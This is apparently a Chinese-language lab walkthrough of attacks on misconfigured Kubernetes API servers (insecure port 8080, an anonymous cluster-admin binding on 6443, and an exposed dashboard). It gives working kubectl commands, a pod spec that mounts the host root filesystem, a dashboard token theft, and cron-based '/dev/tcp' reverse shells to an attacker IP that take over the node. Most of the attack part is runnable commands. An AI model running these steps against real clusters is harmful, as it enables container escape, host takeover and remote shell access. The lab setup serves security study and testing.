Kubernetes API Server(API服务器)是Kubernetes集群的中央组件,提供RESTful API,允许用户、客户端和其他组件与集群交互,执行资源管理、身份验证、授权和状态查询等功能,是集群控制和管理的入口点。
未授权访问
默认情况下 Api Server 在 8080 和 6443 两个端口上提供服务
环境搭建
1.搭建集群
使用metarget搭建版本为1.16.5的k8s集群
./metarget gadget install k8s --version 1.16.5
创建一个运行nginx的pod,使用以下yaml文件
apiVersion: v1
kind: Pod
metadata:
name: nginx-pod
spec:
containers:
- name: nginx-container
image: nginx:latest
ports:
- containerPort: 80
然后,使用 kubectl apply 命令来创建这个 Pod:
kubectl apply -f nginx-pod.yaml
Pod 将被创建并运行 Nginx。你可以使用以下命令来验证 Pod 的状态:
kubectl get pods
一旦状态显示为 "Running",表示 Nginx Pod 已成功创建
2.开启api server 8080端口
cd /etc/kubernetes/manifests
vim kube-apiserver.yaml
insecure-port默认值为0,将其修改为8080(允许本地8080端口访问),在添加- --insecure-bind-address=0.0.0.0(允许远程访问本地的8080端口)
3.配置kubernetes dashboard
我没有配置成功远程访问kubernetes dashboard,在这里我就在本地配置访问dashboard,实际利用的过程和远程是类似的。
kubectl apply -f insecure-kubernetes-dashboard.yml
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80
配置账号
sudo vim account.yaml
# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: admin-user
namespace: kubernetes-dashboard
---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kubernetes-dashboard
kubectl apply -f account.yaml
8080端口未授权访问漏洞
1.控制已创建的容器
在攻击机上访问集群的8080端口
使用kubectl -s获取信息
kubectl -s http://192.168.159.134:8080get pods -n default执行命令进入容器
kubectl -s http://192.168.159.234:8080 exec -it nginx-pod -n default bash
2.新建pod反弹shell
攻击机上新建yaml文件:myapp.yaml,目的是让集群新建一个pod并挂载上宿主机的/mnt.
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
使用kubectl -s新建
kubectl -s http://192.168.159.234:8080 create -f myapp.yaml
查看新建的pod
kubectl -s http://192.168.159.234:8080 get pods
进入容器
kubectl -s http://192.168.159.234:8080 exec -it myapp -n default bash
写计划任务反弹宿主机的shell
echo '*/1 * * * * bash -c "bash -i >& /dev/tcp/192.168.159.189/8888 0>&1"' > /mnt/var/spool/cron/crontabs/root
攻击机获取到shell
3.结合kubernetes dashboard新建pod反弹shell
上面以及搭建好了kubernetes dashboard,访问http://127.0.0.1:9090
选择skip,新建pod失败。
查看Serviceaccount和Secrets
kubectl get sa,secrets -n kubernetes-dashboard
获取token
kubectl describe secrets admin-user-token-tq2kj -n kubernetes-dashboard
使用获取到token登录
成功新建一个挂载到宿主机/mnt的pod
进入myapp的/mnt,就是集群的master节点
写计划任务反弹shell
echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/33333 0>&1"' >> /mnt/etc/crontab
成功获取到shell
6443端口-system:anonymous错误配置
将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
访问6443端口
获取node节点信息,账号密码任意输入
kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 get node
创建挂载到宿主机/mnt的容器
kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 apply -f myapp.yaml
查看容器
kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 get pods
进入容器
kubectl --insecure-skip-tls-verify -s https://192.168.159.234:6443 exec -it myapp -n default bash
后续写计划任务反弹shell利用过程同上。
kube-hunter发现k8s漏洞
/kube-hunter.py --cidr 192.168.159.234
还可以识别节点、服务和漏洞